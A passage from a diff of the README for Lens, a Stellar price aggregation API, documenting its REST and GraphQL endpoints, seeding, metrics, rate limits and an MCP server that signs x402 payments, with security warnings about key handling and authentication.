backpressure](docs/websocket-backpressure.md), [health probes](docs/health.md), [GraphQL](docs/graphql.md). -The MCP server also advertises read-only [resources](docs/mcp-resources.md) — the watched pairs, venues, this OpenAPI document, and service status — each with a stable URI and freshness an agent can cache against. - -## Examples - -The [oracle relay example](examples/oracle-relay/README.md) shows a minimal Soroban contract plus a Node relay that reads Lens prices and pushes them on chain. - -The [price alert bot example](examples/alert-bot/README.md) shows an "if XLM > X notify me" bot built on the WebSocket price stream — see the [cookbook walkthrough](docs/cookbook/alert-bot.md). - -## Docker Quickstart -The fastest way to get Lens running locally is with Docker: - -```bash -# Start Lens, Postgres, and Redis -docker compose up -d - -# Check health -docker compose ps -``` -The API will be available at `http://localhost:3002`. Database migrations run automatically on startup. - -## Quick Start (Manual) - -```bash -# 1. Start PostgreSQL + Redis -docker-compose up -d - -# 2. Install dependencies -npm install - -# 3. Copy env -cp .env.example .env - -# 4. Apply database migrations -npm run db:deploy - -# 5. Seed the database with fixture data -npm run seed - -# 6. Start dev server -npm run dev -``` - -## Seed & Query - -A fresh clone gives an empty database — every price endpoint returns zeros and -you cannot tell working code from broken code. `npm run seed` writes -deterministic fixture data so the API is immediately usable. - -### What it seeds - -| Table | Rows per network | Description | -|---|---|---| -| `pair_configs` | 1 | Default pair registration so `/pairs` and `/price` resolve immediately | -| `price_points` | 36 (24 SDEX + 12 AMM) | Hourly SDEX trades and bi-hourly AMM trades over 24 h | -| `pool_snapshots` | 6 | AMM pool reserves every 4 h | -| `price_aggregates` | 49 (12×1m + 12×5m + 24×1h + 1×24h) | Pre-computed OHLCV buckets | - -Data is seeded for the default pair on each network: -- **testnet:** `XLM / USDC:GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5` -- **mainnet:** `XLM / USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN` - -### Usage - -```bash -# Seed both networks (default) -npm run seed - -# Seed a single network -npm run seed -- --network testnet -npm run seed -- --network mainnet -``` - -### Idempotency - -The seed guarantees idempotency by **converging to the same deterministic row set**. -Timestamps are anchored to the current UTC hour (`Math.floor(Date.now() / 3_600_000) * 3_600_000`), keeping fixture data fresh relative to `NOW()` (satisfying service-level queries bounded by 1 h / 24 h intervals). - -To prevent duplicate accumulation across runs while keeping timestamps fresh, re-seeding safely cleans up previously seed-owned rows (`where: { id: { startsWith: 'seed-' }, network }`) before inserting the fresh set. Default pair configs use `skipDuplicates: true` on `@@id([network, pairKey])` so existing pairs are preserved. - -``` -$ npm run seed - -🌱 Lens seed complete - - testnet (USDC:GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5/XLM) - pair_configs 1 inserted (1 total) - price_points 36 inserted (36 total) - pool_snapshots 6 inserted (6 total) - price_aggregates 49 inserted (49 total) - - mainnet (USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN/XLM) - pair_configs 1 inserted (1 total) - price_points 36 inserted (36 total) - pool_snapshots 6 inserted (6 total) - price_aggregates 49 inserted (49 total) - - ✅ testnet: 1 pair_configs, 36 price_points, 6 pool_snapshots, 49 price_aggregates - ✅ mainnet: 1 pair_configs, 36 price_points, 6 pool_snapshots, 49 price_aggregates - -$ npm run seed # re-seed: cleans seed rows & converges to the same row set - -🌱 Lens seed complete - - testnet (USDC:GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5/XLM) - pair_configs 0 inserted (1 total) - price_points 36 inserted (36 total) - pool_snapshots 6 inserted (6 total) - price_aggregates 49 inserted (49 total) - - mainnet (USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN/XLM) - pair_configs 0 inserted (1 total) - price_points 36 inserted (36 total) - pool_snapshots 6 inserted (6 total) - price_aggregates 49 inserted (49 total) - - ✅ testnet: 1 pair_configs, 36 price_points, 6 pool_snapshots, 49 price_aggregates - ✅ mainnet: 1 pair_configs, 36 price_points, 6 pool_snapshots, 49 price_aggregates -``` - -### Verify with the API - -After seeding, start the server (`npm run dev`) and confirm the endpoints -return real data: - -```bash -# /pairs — lists watched pairs with latest price -curl -s http://localhost:3002/pairs | jq '.pairs[0]' -# { -# "pairKey": "USDC:GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5/XLM", -# "assetA": { "code": "XLM", "issuer": null }, -# "assetB": { "code": "USDC", "issuer": "GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5" }, -# "latestPrice": 0.11906825, -# "lastUpdated": "" -# } - -# /pools — lists AMM pool snapshots -curl -s http://localhost:3002/pools | jq '.pools[0]' -# { -# "pool_id": "65c24738ce0ba076fd4f4d3b66618681ca1f9e9d78c95bb8db3a684a82bb3ee0", -# "asset_a": "XLM", -# "asset_b": "USDC", -# "reserve_a": 550000, -# "reserve_b": 66000, -# "spot_price": 0.12, -# "fee_bp": 30, -# "timestamp": "" -# } - -# /price/:assetA/:assetB — aggregated VWAP + best route -curl -s http://localhost:3002/price/XLM/USDC | jq '{price, ammPrice, lastUpdated}' -# { -# "price": 0.11906825, -# "ammPrice": 0.12, -# "lastUpdated": "" -# } -``` - -*(Note: timestamp values above reflect the dynamic hourly anchor at seed execution time and request time).* - - -## Rate Limiting & 429 Handling - -Lens enforces rate limits per client IP or authenticated API key to protect system throughput: - -| Tier / Endpoint | Window | Limit | -| :--- | :--- | :--- | -| **Public Unauthenticated (by IP)** | 1 minute | `100 requests` (`RATE_LIMITS.ipDefault`) | -| **Authenticated API Keys** | 1 minute | `1,000 requests` (`RATE_LIMITS.authenticatedDefault`) | -| **Public Health/Monitoring (`/status`)** | 1 minute | `1,000 requests` (`RATE_LIMITS.monitoring`) | - -### Handling 429 (Too Many Requests) -When a client exceeds their allowance, Lens replies with HTTP status `429 Too Many Requests`. - -1. **`Retry-After` Header:** Specifies the number of seconds to wait before retrying (e.g., `Retry-After: 42`). -2. **Standardized Error Body:** - ```json - { - "statusCode": 429, - "error": "Too Many Requests", - "code": "rate_limited", - "message": "Rate limit exceeded, retry in 42 seconds", - "retryAfter": 42 - } - ``` -Callers should parse the `Retry-After` header or `retryAfter` field and apply exponential backoff. - - -## Environment Variables - -| Variable | Description | Default | Required | -|---|---|---|---| -| `NODE_ENV` | Environment mode (`development`, `test`, `production`) | `development` | No | -| `PORT` | API server port | `3002` | No | -| `HOST` | API server host | `0.0.0.0` | No | -| `GLOBAL_RATE_LIMIT_MAX` | Maximum accepted non-health requests per rolling minute per instance | `1000` | No | -| `DATABASE_URL` | PostgreSQL connection string | - | **Yes** | -| `REDIS_URL` | Redis connection string | - | **Yes** | -| `PRICE_CACHE_TTL` | Cache duration for price data (seconds) | `10` | No | -| `HORIZON_URL` | Stellar Horizon server URL | - | No | -| `RPC_URL` | Soroban RPC server URL | - | No | -| `NETWORK_PASSPHRASE` | Stellar network passphrase | - | No | -| `STELLAR_NETWORK` | `mainnet` or `testnet` — this instance's default/ingested network | `testnet` | No | -| `POLL_INTERVAL_MS` | Indexer polling frequency (ms) | `5000` | No | -| `SDEX_PAGE_SIZE` | Trades per page for SDEX ingestion | `200` | No | -| `AMM_PAGE_SIZE` | Trades per page for AMM ingestion | `200` | No | -| `ADMIN_API_KEY` | Key for admin route authentication | - | No | -| `WATCHED_PAIRS` | Comma-separated list of asset pairs to index | - | **Yes** | -| `ORACLE_PAYMENT_ADDRESS` | Stellar address for x402 API payments | - | No* | -| `ORACLE_PAYMENT_ADDRESS_TESTNET` / `ORACLE_PAYMENT_ADDRESS_MAINNET` | Per-network override for the address above | - | No | -| `X402_FACILITATOR_URL` | x402 facilitator service URL | - | No | - -*\*Required if enabling x402 payment gating.* - -## Stack -- **Runtime:** Node.js 20 + TypeScript -- **API:** Fastify + Mercurius (GraphQL) -- **Database:** PostgreSQL + TimescaleDB -- **Cache:** Redis -- **Queue:** BullMQ -- **Stellar:** @stellar/stellar-sdk - - -### Deployed smoke check - -Run against a real running instance (local, staging or production): - -```bash -SMOKE_MAX_AGE_SECONDS=120 SMOKE_TIMEOUT_MS=8000 npm run smoke -- http://localhost:3002 -``` - -Validate the smoke checker itself with `npm run test:smoke`. - -The check requires public `/status`, `/live` and `/ready`, plus `/price/XLM/USDC`. It uses a -`graphql-transport-ws` live price subscription at `/graphql`. Both probes must be -present and healthy — a missing `/ready` fails the run rather than being skipped, -since a smoke check that silently tolerates an absent probe is how a deployment -ends up unmonitored while still green. It checks -indexer and trade freshness, validates price shape, and waits for a real -subscription event. It fails non-zero, naming the failing check, on timeout, -stale data, a missing message, or HTTP errors. No synthetic price events are -generated. On installations where x402 payment gates the price endpoint, -a normal unauthenticated call receives HTTP 402 and the smoke check fails; -it never bypasses payment requirements. A quiet pair without any new trades -will likewise fail the live-message requirement. +# Lens — Unified Stellar Price API + +[![CI](https://github.com/Miracle656/Lens/actions/workflows/ci.yml/badge.svg)](https://github.com/Miracle656/Lens/actions/workflows/ci.yml) +[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) +[![Stellar](https://img.shields.io/badge/Stellar-SDEX%20%2B%20AMM-black)](https://stellar.org) +[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg)](CONTRIBUTING.md) + +## Quickstart + +### REST + +```bash +curl http://localhost:3002/status +# { +# "ok": true, +# "network": "testnet", +# "watchedPairs": ["XLM:native/USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN"], +# "lastIndexedLedger": 53842917, // illustrative — actual value depends on when /status is queried +# "lastProcessedAt": "2026-05-07T18:45:11.220Z", // illustrative — actual value depends on when /status is queried +# "ingestLagSeconds": 4 // illustrative — actual value depends on when /status is queried +# } +# +# /status answers for one network — pass ?network=mainnet (or the +# x-network header) to check the mainnet indexer instead. ingestLagSeconds is +# null until that network has ingested, and lastIndexedLedger is null until +# its SDEX ingester has recorded a trade. +``` + +### GraphQL + +```bash +curl -X POST http://localhost:3002/graphql \ + -H "Content-Type: application/json" \ + -d '{"query":"{ getPrice(assetA:\"XLM\", assetB:\"USDC\") { price assetA assetB pairKey bestRoute lastUpdated } }"}' +# { +# "data": { +# "getPrice": { +# "price": 0.1245, +# "assetA": "XLM", +# "assetB": "USDC", +# "pairKey": "XLM:native/USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN", +# "bestRoute": "amm", +# "lastUpdated": "2026-05-07T18:46:02.114Z" +# } +# } +# } +``` + +### MCP + +```bash +# By default the MCP server speaks over stdin and stdout and listens on no +# port; MCP_TRANSPORT=http serves Streamable HTTP on MCP_HTTP_PORT instead +# (see "MCP server" below). Port 3002 is the HTTP API, which knows nothing +# about MCP either way. +npm run mcp:server + +# To drive it interactively, point the inspector at that command: +npx @modelcontextprotocol/inspector npm run mcp:server +# Tools and the keys it needs: examples/mcp-server/README.md +# [ +# { +# "name": "bazaar_search", +# "description": "Search for resources in a Stellar Bazaar node" +# }, +# { +# "name": "paid_call", +# "description": "Make a paid API call to a Bazaar resource" +# } +# ] +``` + +**What Horizon doesn't do:** Horizon's `/trade_aggregations` only covers SDEX. AMM pool prices (derived from reserve ratios) are not aggregated anywhere. Lens fills this gap. + +## Endpoints + +### REST +| Method | Path | Description | +|---|---|---| +| GET | `/price/:assetA/:assetB` | Current VWAP, 24h volume, best route | +| GET | `/price/:assetA/:assetB/route?amount=1000` | Best execution route for a given amount | +| GET | `/price/:assetA/:assetB/depth?amount=1000` | Simulated order-book depth and execution slippage | +| GET | `/impact/:assetA/:assetB?thresholds=1,5,10` | Adaptive slippage ladder and threshold crossing sizes | +| GET | `/book/:assetA/:assetB?depth=0.1&step=0.01&network=testnet` | Aggregated SDEX book and synthetic AMM price ladder with cumulative size and venue provenance | +| GET | `/price/:assetA/:assetB/history?window=1h` | OHLCV history (`1m`, `5m`, `1h`, `24h`) | +| GET | `/price/twap/:assetA/:assetB?window=60&sampleInterval=60&method=iqr` | Manipulation-resistant time-weighted average price | +| GET | `/price/vwap/:assetA/:assetB?window=60&source=SDEX&method=iqr` | Volume-weighted average price | +| GET | `/candles/:assetA/:assetB?interval=1h&from=…&to=…` | OHLCV candles (`1m`, `5m`, `15m`, `1h`, `4h`, `1d`) | +| GET | `/prices/history?pair=XLM/USDC&from=…&to=…&interval=1m` | Historical 1-minute price snapshots, optionally aggregated (`1m`, `5m`, `1h`); honours `?network=`; `?format=csv` serves the points as `text/csv` (`ts,price,volume`); ~30-day retention | +| GET | `/pools` | Active AMM pools being watched | +| GET | `/pairs` | Watched trading pairs | +| GET | `/volumes/:asset?window=24h&network=testnet` | Cross-venue volume and trade-size concentration (`24h`, `7d`, `30d`) with per-venue breakdown | +| GET | `/spreads/:asset?window=5m` | Per-venue bid/ask spread, tightest first (`5m`, `15m`, `1h`, `24h`) | +| GET | `/compare/:asset` | Lens vs configured oracle prices, with per-oracle deviation and availability | +| GET | `/screener?sortBy=volume&order=desc&limit=20` | Screen pairs by volume, 24h change, liquidity and price | +| GET | `/benchmark/:asset?target=USD` | Peg-deviation statistics versus a target | +| GET | `/basket?asset=XLM&asset=USDC&weight=0.6&weight=0.4` | Weighted price of a basket of assets | +| GET | `/status` | Indexer health | +| GET | `/snapshot?network=testnet\|mainnet` | Whole-network snapshot: venues, TVL, 24h volume, top pairs, peg readings and data freshness in one cached, timestamped object | +| GET | `/live` | Liveness probe — no dependency checks (see [`docs/health.md`](docs/health.md)) | +| GET | `/ready` | Readiness probe — boot complete + dependencies reachable | +| GET | `/discovery/resources?type=&payTo=&network=&extensions=&limit=&offset=` | Bazaar catalog of x402-discoverable resources (spec: [`bazaar`](https://github.com/x402-foundation/x402/blob/main/specs/extensions/bazaar.md)) | +| GET | `/usage/me` | Usage and quota for the calling API key (requires `Authorization: Bearer `) | +| GET | `/supported` | Payment kinds and extensions this facilitator supports | +| POST | `/verify` | Verify an x402 payment payload | +| POST | `/settle` | Settle an x402 payment (idempotent — retries replay the stored result) | +| POST | `/webhooks` | Subscribe to a price-threshold webhook | +| DELETE | `/webhooks/:id` | Delete a webhook subscription | +| GET | `/admin/webhook-delivery-failures?limit=25` | Recent permanent webhook failures (requires `X-Admin-Token`) | +| GET/POST | `/graphql` | GraphQL query/mutation endpoint (GraphiQL IDE at `/graphiql`, docs: [`docs/graphql.md`](docs/graphql.md)) | + +Every non-internal route above has a matching entry in [`openapi.yaml`](openapi.yaml); +`tests/openapi.test.ts` boots the server and fails if a registered route is +missing from the spec. Operator-only and non-HTTP routes (`/admin/keys*`, +`/admin/usage*`, `/admin/webhook-delivery-failures`, `/metrics`, `/ws`, `/graphiql*`) are deliberately excluded via +the commented allow-list in [`src/openapi/coverage.ts`](src/openapi/coverage.ts). +In addition, live service responses are verified against their published schemas on a daily schedule (`05:00 UTC`) via `npm run spec:validate-live` — see [docs/live-spec-validation.md](docs/live-spec-validation.md). + +The `?network=testnet\|mainnet` query param (or `x-network` header) selects the +Stellar network. It is validated on every request — an unrecognised value gets a +`400` — and defaults to this instance's `STELLAR_NETWORK`. Only the routes whose +spec entry declares a `network` parameter answer for the selected network; the +ones listed below still read a single instance-wide network. + +Per-request today: `/price/:assetA/:assetB` (its VWAP, OHLCV, AMM and +best-route reads), `/price/:assetA/:assetB/route`, `/price/:assetA/:assetB/depth`, `/book/:assetA/:assetB`, +`/prices/history`, `/screener`, `/pools`, `/pairs`, `/spreads/:asset`, +`/volumes/:asset`, `/status`, and the x402 payment `network`/`payTo`. That list +is the same one `openapi.yaml` declares a `network` parameter on — if they ever +disagree, the spec is the thing to fix. + +`GET /volumes/:asset` also reports the trade count, median trade size, largest +trade's volume share, and `volumeConcentration`. Concentration is the HHI: the +sum of squared individual trade volume shares (0 to 1; 1 means one trade +accounted for all volume). The `provenance` object gives the venues and +positive-volume sample count used and the total observed sample count +(including zero-volume rows), plus the latest trade time and its age at the +response's `endTime`. +When the window has no trades, or its samples have no positive volume, derived +size and concentration metrics are `null` and `status` explains why. + +Still reading across both networks, and ignoring the parameter: +`/candles/:assetA/:assetB`, `/price/twap/*`, and `/price/vwap/*`. + +### API key authentication errors + +API-key authentication failures return HTTP 401 with a machine-readable `code`: + +| Code | Meaning | +|---|---| +| `missing` | No Authorization header was supplied. | +| `malformed` | The Authorization header is not a valid Bearer header. | +| `unknown` | The key was not recognized; never-issued and unknown keys have the same response. | +| `revoked` | The recognized key has been revoked. | +| `expired` | The recognized key has passed its expiry time. | + +Unknown keys always receive the same response, regardless of whether the key +ever existed. Admin-token failures use `admin_unauthorized`. + +Admin key creation accepts an optional future ISO date-time in `expiresAt`. +Omitting it creates a key without an expiry. + +```bash +curl "https://api.example.com/price/XLM/USDC?network=mainnet" +``` + +### Data Quality Guarantees +For formal guarantees on pricing freshness (including the 300s staleness threshold), completeness (venue diversity and outlier filtering), precision (PostgreSQL Decimal(36,18) and negotiated decimal strings), venue inclusion across SDEX and AMMs, and deterministic violation semantics, see [`docs/data-quality.md`](docs/data-quality.md). + +### GraphQL +Available at `/graphql` with GraphiQL IDE at `/graphiql`. Real-time price +streaming is available via the `priceUpdated` [subscription](#graphql-subscriptions-live-prices). + +For complete GraphQL schema documentation, all queries with runnable `curl` examples, WebSocket `graphql-transport-ws` handshake specifications, and an explicit comparison against the REST surface, see [`docs/graphql.md`](docs/graphql.md). + +```graphql +query { + getPrice(assetA: "XLM", assetB: "USDC") { + price + bestRoute + vwap1h + volume24h + priceChange24h + } + getBestRoute(assetA: "XLM", assetB: "USDC", amount: 500) { + route + sdexPrice + ammPrice + estimatedOutput + slippagePct + recommendation + } +} +``` + +#### Schema Definition & SDL Artifact +The GraphQL schema is exported as a canonical Schema Definition Language (SDL) artifact committed at [`schema.graphql`](schema.graphql). + +- **Location**: [`schema.graphql`](schema.graphql) +- **Regenerate / Refresh**: + ```bash + npm run graphql:schema:gen + ``` +- **Drift Guard & Validation**: CI runs `src/__tests__/graphqlSchemaDrift.test.ts` to assert that `schema.graphql` matches the code-defined schema in `src/api/graphql.ts`, guarantees deterministic output, validates SDL syntax for client generators, and detects breaking schema changes. + + +## Observability + +Prometheus metrics are exposed on `GET /metrics` (public, no API key required). +The MCP server is a separate process with its own `GET /metrics` on its own +port, and that one does require its bearer token — see +[MCP server](#mcp-server). + +Alongside the ingestion and database metrics, Lens exports HTTP request, +latency, authentication and rate-limit signals: + +| Metric | Type | Labels | +|---|---|---| +| `http_requests_total` | Counter | `method`, `route`, `status_class` | +| `http_request_duration_seconds` | Histogram | `method`, `route` | +| `api_key_auth_failures_total` | Counter | `reason` | +| `admin_auth_failures_total` | Counter | — | +| `rate_limit_rejections_total` | Counter | `scope` | +| `global_shed_requests_total` | Counter | — | + +`route` is the matched route **template** (`/price/:assetA/:assetB`), never the +resolved URL, so the number of time series stays bounded no matter how many +distinct assets are queried. `status_class` is `2xx`/`4xx`/`5xx` rather than the +exact code, for the same reason. + +```promql +# Request rate +sum(rate(http_requests_total[5m])) by (route) + +# Error rate +sum(rate(http_requests_total{status_class="5xx"}[5m])) + / sum(rate(http_requests_total[5m])) + +# p95 latency +histogram_quantile(0.95, + sum(rate(http_request_duration_seconds_bucket[5m])) by (le)) +``` + +See [`docs/http-metrics.md`](docs/http-metrics.md) for the full label reference, +the bucket rationale and suggested alerting rules. + +The websocket stream carries its own signals — `ws_clients_total`, +`ws_messages_sent_total`, `ws_messages_dropped_total`, `ws_clients_dropped_total` +and `ws_buffered_bytes` — which exist to make slow subscribers visible instead +of silent. See [`docs/websocket-backpressure.md`](docs/websocket-backpressure.md). + +The ingestion metrics are labelled by `network` as well, so a dual-network +deployment reports each network separately: + +| Metric | Type | Labels | +|---|---|---| +| `trades_ingested_total` | Counter | `pair`, `network` | +| `amm_snapshots_total` | Counter | `pool`, `network` | +| `price_snapshots_total` | Counter | `network` | +| `last_trade_timestamp` | Gauge | `pair`, `network` | + +`last_trade_timestamp` is a gauge, so without the `network` label one network's +ingester overwrites the other's value for the same pair — which would make the +staleness signal silently unusable. See +[`docs/ingest-metrics.md`](docs/ingest-metrics.md) for the cardinality notes +(`pairs x networks`) and a staleness alert. + +### Database Connection Pool & Shared Architecture + +> **Important architectural note**: The ingester loops (SDEX, AMM, Soroswap, Snapshot, Aquarius), background workers (retention, partitions), and the HTTP/GraphQL API handlers **run in a single process and share one connection pool**. + +Because deployments often scale across multiple instances, total database connections against Postgres equal: +$$\text{Total Connections} = \text{Instances} \times \text{DB\_POOL\_SIZE} + \text{Superuser/Admin Headroom}$$ + +Configure `DB_POOL_SIZE` and `DB_POOL_TIMEOUT_MS` appropriately so the aggregate across all running instances stays safely beneath PostgreSQL's `max_connections` (typically 100). + +Pool utilisation and exhaustion metrics are exposed on `GET /metrics`: +- `db_pool_connections_in_use`: Number of active connections checked out. +- `db_pool_connections_idle`: Number of idle connections ready in pool. +- `db_pool_connections_waiting`: Requests queued waiting for an available connection. +- `db_pool_exhaustion_errors_total`: Counter incremented whenever connection acquisition times out. Requests encountering pool exhaustion fail with an explicit `503 Service Unavailable` (`DB_POOL_EXHAUSTED`) rather than generic latency or unhandled timeouts. + +### GraphQL Subscriptions (live prices) + +Lens exposes a `priceUpdated(pair)` subscription that pushes a message every time +an ingester (SDEX, Horizon AMM, or Soroswap) records a new price for the pair. +It runs over the same `/graphql` endpoint using the `graphql-transport-ws` +protocol, so any [`graphql-ws`](https://github.com/enisdenjo/graphql-ws) client works. + +```graphql +subscription { + priceUpdated(pair: "XLM/USDC", network: "mainnet") { + pair + price + ts + network + } +} +``` + +```bash +npm install graphql-ws ws +``` + +```typescript +import { createClient } from "graphql-ws"; +import WebSocket from "ws"; // browsers already have WebSocket globally + +const client = createClient({ + url: "ws://localhost:3002/graphql", + webSocketImpl: WebSocket, // omit in the browser +}); + +// `subscribe` returns an unsubscribe function — call it to close the channel. +const unsubscribe = client.subscribe( + { + query: `subscription ($pair: String!, $network: String) { + priceUpdated(pair: $pair, network: $network) { pair price ts network } + }`, + variables: { pair: "XLM/USDC", network: "mainnet" }, + }, + { + next: ({ data }) => console.log("price:", data.priceUpdated), + error: (err) => console.error("subscription error:", err), + complete: () => console.log("subscription closed"), + }, +); + +// Later — stop receiving updates and close the socket cleanly: +// unsubscribe(); +``` + +> **`network` is optional but you almost always want it.** Since #117 every +> enabled network runs its own ingester loop and they all publish to the same +> stream, so omitting it interleaves testnet and mainnet prices for the same +> pair. Every message carries its own `network` field, so an omitted argument +> is safe *if* you read that field — and misleading if you do not. + +> **Note:** the `pair` argument is the canonical `pairKey` (alphabetically +> sorted, e.g. `USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN/XLM`). Use the `listPairs` query to discover +> the exact keys being indexed. Only the pair you subscribe to is delivered; +> updates for other pairs are filtered out server-side. For full protocol handshake details and a raw WebSocket implementation, see [`docs/graphql.md`](docs/graphql.md#live-price-subscriptions-graphql-transport-ws). + +## MCP server + +`npm run mcp:server` starts the Bazaar MCP server ([src/mcp/server.ts](src/mcp/server.ts), wired up in [examples/mcp-server/run.ts](examples/mcp-server/run.ts)). It advertises: + +| Tool | What it does | Spends? | +| --- | --- | --- | +| `bazaar_search` | Reads a Bazaar base URL's `/discovery/resources` or `/discovery/search?q=` and lists what is available. | No | +| `paid_call` | Fetches an x402-gated URL and handles the `402 → sign → retry` loop. | **Yes — it signs with a real Stellar key** | +| `payment_budget` | Reports the configured limits and what is left of today's budget. | No | +| `lens_get_price` | Reads Lens's own aggregated price for a watched pair. | No | + +`payment_budget` appears whenever a spend budget is configured, which the example always sets, and `lens_get_price` only where the server can reach Lens's own price data. Every one of them is served over **either** transport, and the tool list, schemas and error codes are identical whichever you pick. Which transport runs is selected by configuration; **stdio is the default**, so an existing setup needs no changes. + +**⚠️ Warning:** the mainnet key signs with real XLM. Read the configuration, +spending warning, and worked example before running. + +The server signs with a real Stellar key, so it needs `MCP_AGENT_SECRET_KEY_TESTNET` +and `MCP_AGENT_SECRET_KEY_MAINNET` in the environment — keep them in `.env` +(`run.ts` loads it with `dotenv`) rather than in a shell history line or a +client config file that gets shared. Never commit them. Optional spend +controls: `MCP_MAX_PAYMENT_PRICE` (per call, default `$1.00`), +`MCP_DAILY_SPEND_CEILING` (default `$10.00`) and `MCP_SPEND_STATE_FILE` — the +running total survives a restart, because a restart does not refund what the +previous process spent. + +Full documentation: [examples/mcp-server/README.md](examples/mcp-server/README.md) + +### stdio (default) + +For a client that spawns the server itself as a child process — Claude +Desktop, Cursor, or the runnable [agent example](examples/mcp-server/agent.ts) +(`npm run mcp:agent`, which prints discovery and a paid call end to end). + +```bash +npm run mcp:server # reads MCP_TRANSPORT=stdio, talks JSON-RPC on stdin/stdout +``` + +Point a client at the command — the keys come from `.env`, so nothing secret +has to be written into client config. This is the same invocation +[agent.ts](examples/mcp-server/agent.ts) uses: + +```json +{ + "mcpServers": { + "lens-bazaar": { + "command": "npx", + "args": ["tsx", "examples/mcp-server/run.ts"] + } + } +} +``` + +Because the process is spawned by the client, there is no port, no token and +no remote attack surface: whoever can spawn it can spend, so keep it to +your own machine. + +### Streamable HTTP + +For a client that connects over the network instead of spawning a process — +a hosted agent, a shared dev box, a container. Set `MCP_TRANSPORT=http`: + +```bash +# MCP_AGENT_SECRET_KEY_TESTNET / MCP_AGENT_SECRET_KEY_MAINNET live in .env +export MCP_TRANSPORT=http +export MCP_HTTP_AUTH_TOKEN="$(openssl rand -hex 32)" # required, see below +export MCP_HTTP_HOST=127.0.0.1 # default +export MCP_HTTP_PORT=3003 # default +export MCP_HTTP_PATH=/mcp # default +npm run mcp:server +# [mcp-server] Listening at http://127.0.0.1:3003/mcp +``` + +**Authentication is mandatory and fails closed.** Without a non-empty +`MCP_HTTP_AUTH_TOKEN` the process exits before it builds a signer, so an +unauthenticated remote server with `paid_call` on its tool list can never come +up. Every request must then carry it as a bearer token; anything else gets a +JSON-RPC error with `ERR_UNAUTHORIZED` and is rejected before the payment path +is reached: + +```bash +curl -sS -X POST http://127.0.0.1:3003/mcp \ + -H "Authorization: Bearer $MCP_HTTP_AUTH_TOKEN" \ + -H "Content-Type: application/json" \ + -H "Accept: application/json, text/event-stream" \ + -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}' +``` + +A client connects the same way: + +```ts +import { Client } from '@modelcontextprotocol/sdk/client/index.js'; +import { StreamableHTTPClientTransport } from '@modelcontextprotocol/sdk/client/streamableHttp.js'; + +const transport = new StreamableHTTPClientTransport(new URL('http://127.0.0.1:3003/mcp'), { + requestInit: { headers: { authorization: `Bearer ${process.env.MCP_HTTP_AUTH_TOKEN}` } }, +}); + +const client = new Client({ name: 'lens-agent', version: '1.0.0' }, { capabilities: {} }); +await client.connect(transport); +``` + +Notes for this transport: + +- It binds `127.0.0.1` unless you set `MCP_HTTP_HOST` deliberately. Do not + expose it on a routable address over plain HTTP: the bearer token and every + paid result cross the wire, so terminate TLS in a reverse proxy and forward + to loopback. +- The token is a credential — the bearer who holds it can spend. Keep it out + of URLs, logs, and shell history; rotate it if it leaks. +- Requests are stateless: no `Mcp-Session-Id` is issued and each `POST` is + served by a fresh transport, so a client cannot hold a session open across + requests. Every MCP message must be a `POST` (`GET` returns `405`, which + spec-compliant clients treat as "no server-initiated stream"). Bodies are + capped at 1 MiB. +- The daily spend ceiling is shared across everything this process serves, so + one HTTP client cannot spend past a budget another one already used up. + +#### Payment spend metrics + +What the agent spent is scrapeable from the same listener, at `GET /metrics`, +guarded by the same bearer token — it is operator data about a key that moves +money, so there is no anonymous scrape: + +```bash +curl -sS http://127.0.0.1:3003/metrics \ + -H "Authorization: Bearer $MCP_HTTP_AUTH_TOKEN" +``` + +| Metric | Type | Labels | +| --- | --- | --- | +| `mcp_payment_attempts_total` | Counter | `host`, `network`, `outcome` | +| `mcp_payment_amount_usd_total` | Counter | `host`, `network` | +| `mcp_payment_unquantified_total` | Counter | `host`, `network` | + +A refused payment is an attempt (`outcome="failure"`) and adds nothing to +`mcp_payment_amount_usd_total`. `host` may only be a value from +`MCP_METRIC_HOSTS` and `network` only one from `MCP_METRIC_NETWORKS` (default +`stellar:testnet,stellar:pubnet` — the networks this server signs for): +Prometheus series are permanent, so anything outside an allow-list is reported +as `unknown` instead of letting one caller mint a time series per URL an agent +tries. Amounts that are not a USD money string cannot join the USD sum, so they +are counted in `mcp_payment_unquantified_total` rather than dropped silently. +Per-payment detail — full URL, transaction hash, asset, error code — is in the +`MCP_PAYMENT_LEDGER_FILE` audit trail, which keeps the real host whatever the +allow-list says. + +`MCP_HTTP_PATH` cannot be `/metrics`; the process exits at boot rather than +answering MCP and Prometheus on one path. Under **stdio** there is no listener +to scrape, so read the running total from the `payment_budget` tool or the +audit file. + +### WebSocket backpressure + +`/ws` counts a message as sent only once the socket reports the write completed, +and bounds what a client that stops reading can cost: past 256 KiB of queued +bytes updates are coalesced to the newest one, past 1 MiB — or congested for 30s +— the client is closed with `1013` and counted. A truncated feed is visible in +`ws_messages_dropped_total` rather than silent, and one slow client cannot affect +any other. See [`docs/websocket-backpressure.md`](docs/websocket-backpressure.md). + +## Usage Examples + +Lens gates `/price`, `/pools`, and `/candles` behind x402 micropayments on Stellar (testnet by default). The `/status` endpoint is free. + +### 1. Free health check & status monitoring (`/status`) + +`/status` provides a structured, comprehensive health contract separating **process health** (runtime container, memory, uptime) from **data health** (ingestion currency, last ledger, ingest lag). + +```bash +curl http://localhost:3002/status +``` + +```json +{ + "ok": true, + "status": "healthy", + "network": "testnet", + "health": 